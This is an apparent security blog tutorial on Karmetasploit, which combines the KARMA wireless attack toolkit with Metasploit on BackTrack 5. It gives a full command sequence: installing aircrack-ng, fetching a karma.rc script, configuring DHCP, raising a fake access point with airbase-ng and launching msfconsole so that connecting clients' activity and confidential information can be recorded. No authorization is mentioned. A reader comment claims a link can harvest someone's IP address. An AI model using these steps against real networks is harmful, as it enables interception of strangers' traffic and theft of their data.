Wireless communication is now become a need of networking, radio signals are unseen but they carry your information on the form of bits by using different modulation techniques. However security is very important for wireless network because it is more vulnerable. As discussed before about wireless security and rogue access point, in this article i will try to cover Karmetasploit.

Metasploit is now one of the best tool for penetration testing and the word Karmetasploit has driven from two words one is KARMA (KARMA Attacks Radioed Machines Automatically) and the other is Metasploit.

So what is Karmetasploit?

KARMA is a wireless client attack toolkit and the integration of Karma and metasploit is called Karmetasploit, in 2004 Dino A. Dai Zovi and Shane A. Macaulay did a presentation called "All your layer are belong to us" in that presentation they have described the insecurity of wireless access point and introduced the tool KARMA. This tool acts as wireless access point and responds to all probe requests from wireless clients. Once a client has associated with the KARMA access point, every service they try to access leads to a malicious application.

The above passage gives the basic introduction of KARMA and about Metasploit your can learn from here.

Karmetasploit Tutorial
Configuration

If you are not using backtrack 5 than you must have to install some dependencies like Aircrack-ng

```
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install
```

# airmon-ng start [wifi INTERFACE]

For backtrack like backtrack5 follow the procedure

```bash
root@bt:/pentest/exploits/framework3# wget http://www.offensive-security.com/downloads/karma.rc
```

Now here is the need to configure DHCP server so that the Fake AP connect with the network.

```bash
root@bt:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
 ddns-update-style none;
 authoritative;
 log-facility local7;
 subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
```

root@bt:~# gem install activerecord sqlite3-ruby

By we approx done now the time to restart the wireless interface and start listening.

```bash
root@bt:~# airmon-ng
root@bt:~# airmon-ng stop ath0
root@bt:~# airmon-ng start wifi0
root@bt:~# airbase-ng -P -C 30 -e "U R PWND" -v ath1
```

What this commands do? These command is used to create a new interface that is rogue interface or fake AP, now we have to assign IP address and DHCP configuration so the interface work properly.

```bash
root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@bt:~# ifconfig ath0 down
```

**Karmetasploit Attack Vector**

After configuration you are ready to run karmetasploit and start an attack

```bash
root@bt:~# cd /pentest/exploits/framework3/
root@bt:/pentest/exploits/framework3# msfconsole -r karma.rc
```

The command will start metasploit and than Karma script start to act as a fake AP and it will give you the command like this

```bash
msf auxiliary(http) >
```

When the victim will start using this AP you are free to monitor all the activities and you can record of the confidential information.

```bash
msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN:A www.google.com)
```

This is little advance tutorial and if you dont understand it than it means you have to understand rogue access point first.
Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription or become our Facebook fan! You will get all the latest updates at both the places.

Related articles from other blogs
- Making A Ubuntu Hotspot (jkrez.wordpress.com)
- Metasploit 4.0 Sets the Stage for Mass Penetration Testing (pcworld.com)
- WEP Key Cracking Using Backtrack: Step by Step Tutorial (cybersecurityhacking.wordpress.com)

Related post
BackTrack
- Fern wifi Cracker– A Wireless Penetration Testing Tool
- DarkMYSQLi– MYSQL Injection Tool Tutorial
- Tabnapping Tutorial– Social Engineering Toolkit Backtrack 5
- Autopwn Metasploit Backtrack 5– Postgresql Solved

Aircrack-ng
- Fern wifi Cracker– A Wireless Penetration Testing Tool

Related post
Backtrack
- Fern wifi Cracker– A Wireless Penetration Testing Tool
- DarkMYSQLi– MYSQL Injection Tool Tutorial
- Tabnapping Tutorial– Social Engineering Toolkit Backtrack 5
- Autopwn Metasploit Backtrack 5– Postgresql Solved

Aircrack-ng
- Fern wifi Cracker– A Wireless Penetration Testing Tool

Which operating system do you like most?
- Windows
- Linux
- MAC

Popular Threads
- How to Find An Email of Facebook Friend | Ethical Hacking-Your Way To The World Of IT Security
- 9 comments · 3 days ago
- A History of Hacking [INFOGRAPHIC] | Ethical Hacking-Your Way To The World Of IT Security
- 2 comments · 3 days ago
- Complemento Backtrack 5

Recent Comments
- Anonymous– 1337 yes u can send him a link and u wil get there ip sent to your email

Like
Add New Comment
Showing 0 comments
RSS
Sort by popular now
Reactions
Show more reactions

Operation Facebook– Anonymous Aims to Destroy Face...
SEO Poisoning Attack – What and How
Anonymous Released dump 7.4 GB of US law Enforceme...
Advance SQL Injection Tool – Havij
Open Invitation for All Hacking Geeks
7 Top Wordpress Security Plugins
Karmetasploit– Backtrack 5 Tutorial
Tips to Improve Linux Backtrack 5 Performance
Volatility-Advanced Memory Forensics Framework
Free ISO 27001 Implementation e-Learning Course
Backtrack 5 Tutorials
- July (29)
- June (26)
- May (22)
- April (17)
- March (16)
- February (25)
- January (22)
- 2010 (26)

Followers

This blog by Irfan Shakeel is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
for this purpose you need to make some changes on the kernel side, basically backtrack is based...

How To Install Backtrack 5 Dual Boot-Tutorial | Ethical Hacking-Your Way To The World Of IT Security · 2 days ago

Is there a way to rename the bootloader to not read "Ubuntu, with Linux 2.6.38" and have it...

How To Install Backtrack 5 Dual Boot-Tutorial | Ethical Hacking-Your Way To The World Of IT Security · 2 days ago

Powered by Disqus